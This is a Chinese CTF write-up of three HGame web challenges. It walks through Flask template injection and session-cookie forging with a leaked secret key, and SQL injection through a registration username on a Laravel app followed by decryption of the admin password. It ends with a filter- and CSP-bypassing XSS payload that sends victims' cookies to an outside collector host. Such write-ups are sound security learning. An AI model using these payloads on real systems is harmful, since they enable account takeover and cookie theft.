历时四周的 HGame 结束了！撒花~ 校内排名 12，还是太菜了。 最后一周的 Web 主要是各个语言的框架，很多点都是围绕着框架的特性来的。 嘛，不多说，一起来看看吧！

Web

happyPython

首先从头到尾走一波流程，熟悉一下题目。 通过题目首页，我们可以知道这是 Flask 框架。 因为对于 Python Web 完全不了解，上网找了很久。 然后发现在 URL 那里可以进行模板注入。当我们访问：`http://118.25.18.223:3001/{{1+1}}`，可以看到返回的是：`/2 doesn't exist.`，因此这里有个模板注入。 尝试下`config`，可以看到`'SECRET_KEY': '9RxdzNwq7!nOoK3*'`（这里其实也是我做到后面才知道这个有用 然后呢又是无尽的百度，最后发现 Flask 的 Session，居然储存在本地的！并且还是可以解密的！（话说这还能叫做 Session 吗？ 在网上我们可以找一个解密的代码：

```
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                        'an exception')
```

```
    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                            'decoding the payload')

    return session_json_serializer.loads(payload)


if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))
```

解密 Cookies 中的`session`丢进去解密，得到类似：

```
{'_fresh': True, '_id':
'cb9b7206917b35ec8873b377f37838d1a4c98c213668fd324f5fb9ed8c37fab9d383792075b
6874d8cc3d9c688dfc7f79a7393ca80baa459d6f2a92e279dd16d', 'csrf_token':
'cc4f6a2b71689a97216c375796b5327122657cce', 'user_id': '176'}
```

可以看到解密出来的数据里面有我们的`user_id`，那么可以进而想到，如果把`user_id`改为`1`的话，是否就可以以管理员登录了呢？ 在网上又找到了加密的代码：

```
from flask.sessions import SecureCookieSessionInterface

key = r"9RxdzNwq7!nOoK3*"

class App(object):
    def __init__(self):
        self.secret_key = None

exploit = {'_fresh': True, '_id':
'cb9b7206917b35ec8873b377f37838d1a4c98c213668fd324f5fb9ed8c37fab9d383792075b
6874d8cc3d9c688dfc7f79a7393ca80baa459d6f2a92e279dd16d', 'csrf_token':
'cc4f6a2b71689a97216c375796b5327122657cce', 'user_id': '1'}

app = App()
app.secret_key = key

# Encode a session exactly how Flask would do it
si = SecureCookieSessionInterface()
serializer = si.get_signing_serializer(app)
session = serializer.dumps(exploit)

print(session)
```

把修改后的 Session 丢 Charles 访问，就可以到得到管理员的 Session 了。

```
.eJwlj0tqA0EMBe_Say-
mpW59fJlBnxYxhgRm7FXI3TMh2wdF1ftuex3r_Gj31_Fet7Y_st1buDrDRtrZca4QYXRkLmRByW4
jVAI6EkklwqhZrislkMtcEwVZYePpJDyuPTA1SCQruFiNUTFMNjcbU5MKTGEBa2anbLcW51H76-
u5Pv96YhQZOHcSNWXodJkmK_lE4A5AkyPWxb3Pdfyf6O3nF3prPlw.XHFUKQ.1_tIzJ80zppH1HD
bZkG4z58Pm04
```

以管理员登录后，就可以拿到 flag 了。

```
hgame{Qu_bu_la1_m1ng_z1_14}
```

happyPHP

感觉也是很不错的。虽然一开始除了点小问题——出题人没关 Laravel 的调试模式，导致 SQL 注入的语句输错后就直接报错出 flag 了。（事实证明，只有输错 SQL 的菜鸡才可以拿到 flag!

嘛，事后修好后我居然也做出来，也是挺激动的。但是慢了一点，并没有拿到一血。首先先是按照题目走一波流程，在登录进去后，可以在 HTML 注释中看到一行 GitHub 的链接。之前访问是这个 repo 不存在的，现在已经可以了。我是在那个用户的 repo 下找到的另一个。进去 GitHub 后，我们可以在 commit 记录下看到删除了`.env`文件，这里有个`APP_KEY`，这个在之后是有用的。

一直因为 Laravel 需要安装 composer，所以一直没去学。之前一直都是在用 CodeIgniter。但因为 Laravel 也是个 MVC 框架，所以上手还挺快。直接找控制器，在`laravel/app/Http/Controllers/`下。其中有一个`SessionsController.php`的控制器，在里面我们可以看到有一段 SQL：

```
 $name = DB::select("SELECT name FROM `users` WHERE `name`='".Auth::user()->name."'");
            session()->flash('info', 'hello '.$name[0]->name);
            return redirect()->route('users.show');
```

这个其实感觉是为了出题而出题哈，`Auth::user()->name`就已经是`name`了，为何还要再去数据库里查询一次呢？有点强行2333 这里的`name`就是我们的用户名，在注册的时候是可控的，并且也没有做任何过滤，因此可以注出管理员的 E-Mail 和密码：用户名输入：

```
' UNION SELECT email FROM `users` WHERE `id` = 1#
```

登录后可以获得管理员的 E-Mail：`admin@hgame.com`同样的方法拿到管理员的密码：

```
' UNION SELECT password FROM `users` WHERE `id` = 1#
```

可以看到是 base64 编码后的：
`eyJpdiI6InJuVnJxZkN2ZkpnbnZTVGk5ejdLTHc9PSIsInZhbHVlIjoiRWFSXC80ZmxkT0dQMUdcL2FESzhlOHUxQWxkbXhsK3lCM3Mra0JBYW9Qb2RzPSIsIm1hYyI6IjU2ZTJiMzNlY2QyODI4ZmU2ZjQxN2M3ZTk4ZTlhNTg4YzA5N2YwODM0OTllMGNjNzIzN2JjMjc3NDFlODI5YWYifQ==`解码后得到：
`{"iv":"rnVrqfCvfJgnvSTi9z7KLw==","value":"EaR\/4fldOGP1G\/aDK8e8u1Aldmxl+yB3s+kBAaoPods=","mac":"56e2b33ecd2828fe6f417c7e98e9a588c097f083499e0cc7237bc27741e829af"}`得到了一个 JSON，然而并不知道该怎么办，百度搜索`laravel iv value`，可以搜着这么一篇文

章：laravel cookie加密解密原理 http://www.mamicode.com/info-detail-2152904.html 这里说明了 Laravel 是通过`openssl_encrypt`函数进行加密的，我们可以使用`openssl_decrypt`进行解密：

```
var_dump(openssl_decrypt($encrypt, 'AES-256-CBC', $key, 0, $iv));
```

这里的`$encrypt`使我们需要解密的内容，即上述 JSON 中的`value`；`$key`就是来自于刚才在`.env`文件中的`APP_KEY`，这一点是很容易被忽略的。`$iv`就是上述 JSON 中的`iv`了。 这里要注意的是，部分变量是 base64 编码后的，需要先`base64_decode`。

```
$encrypt = 'EaR\/4fldOGP1G\/aDK8e8u1Aldmxl+yB3s+kBAaoPods=';
$key = base64_decode('9JiyApvLIBndWT69FUBJ8EQz6xXl5vBs7ofRDm9rogQ=');

$iv = base64_decode('rnVrqfCvfJgnvSTi9z7KLw==');

var_dump(openssl_decrypt($encrypt, 'AES-256-CBC', $key, 0, $iv));
```

运行后得到一段序列化后的数据：

```
s:16:"9pqfPIer0Ir9UUfR";
```

这里的字符串`9pqfPIer0Ir9UUfR`就是管理员的密码。 拿 E-Mail 和密码登录就可以拿到 flag 啦~

```
hgame{2ba146cf-b11c-4512-839f-e1fbf5e759c9}
```

HappyXss

一开始这道题的 bot 炸了，把 payload 发给出题人给的 flag。（第一次 py 出题人2333 说明一下，我的`payload`其实是太复杂了，很多地方用其实用`atob`就好了。 我们可以看到这里过滤了`<img>`、`<svg>`等标签，并且是直接替换成`happy`，导致上周的双写绕过已经不行了。 我大概试了一下，发现`<iframe>`是可以使用的，在`src`属性中可以用`javascript:`来执行 Javascript 代码。 那么这里我们需要去创建一个图片或者什么的，将它的`src`设置成我们 XSS 平台的链接，GET 参数带上 cookie 访问。

构造 document.cookie

首先，我们会发现它过滤了`document`以及`cookie`这两个字符，其实是可以 base64 编码后再用`atob`函数解码的，我这里是太复杂了。 我是使用字符串拼接

```
var a = `documen` + `t`+`.cooki`+`e`;
```

注意，因为`"`也会被过滤掉，所以说只能使用`'`或抑音符。

斜杠 /

之后在输入 URL 时，我们又会发现`/`也被过滤了，这里我是想到了用 URL 编码。

```
var b=decodeURIComponent(`%2f`);
```

然后就可以拼接出 XSS 平台的 URL了：

```
var url =`http:` + b + b  + `xss.wuhan5.cc` + b + `?cooki`+`e=` +eval(a);
```

CSP

我们尝试去`new`一个`image`，但是发现浏览器不允许加载这个图片文件。根据控制台报错的内容，我了解到这里使用了`CSP`内容安全策略来解决跨站脚本的问题。 从返回的`header`中可以看到：

```
Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval';
style-src *
```

这里是放开了对于外部样式表的加载，因此，我们可以使用`<link>`标签来，来以加载 CSS 的方式，来访问 XSS 平台。 注意`<link>``href`也是被过滤了的，同样可以使用字符串拼接来绕过。

```
var d = `<li` + `nk type=text/css rel=styleSheet hr`+ `ef=` + url +` />`;
```

最后，执行拼接好的 JS：

```
var e = `docu` + `ment.write(\`` + d + `\`)`;
eval(e);
```

base64

但这样的话，我们在 XSS 平台上是只能看到一个`PHPSESSID`的 cookie，并没有我们的 flag。 原因就出在 cookie 之间是使用`;`进行分割的，`PHPSESSID`和`flag`之间有一个`;`，因此就截断了。 所以我们应该先对`cookie`进行 base64 编码再传输，就可以了！

最终 payload：

```
<iframe src='javascript:var a = `btoa(documen` + `t`+`.cooki`+`e)`;
var b=decodeURIComponent(`%2f`);
var url =`http:` + b + b  + `xss.wuhan5.cc` + b + `?cooki`+`e=` +eval(a);
var d = `<li` + `nk type=text/css rel=styleSheet hr`+ `ef=` + url +` />`;
var e = `docu` + `ment.write(\`` + d + `\`)`;
eval(e);
'></iframe>
```

得到 flag：

```
hgame{Xss_1s_Re@llY_Haaaaaappy!!!}
```

这周也只做了三道 web。 希望能进线下赛吧。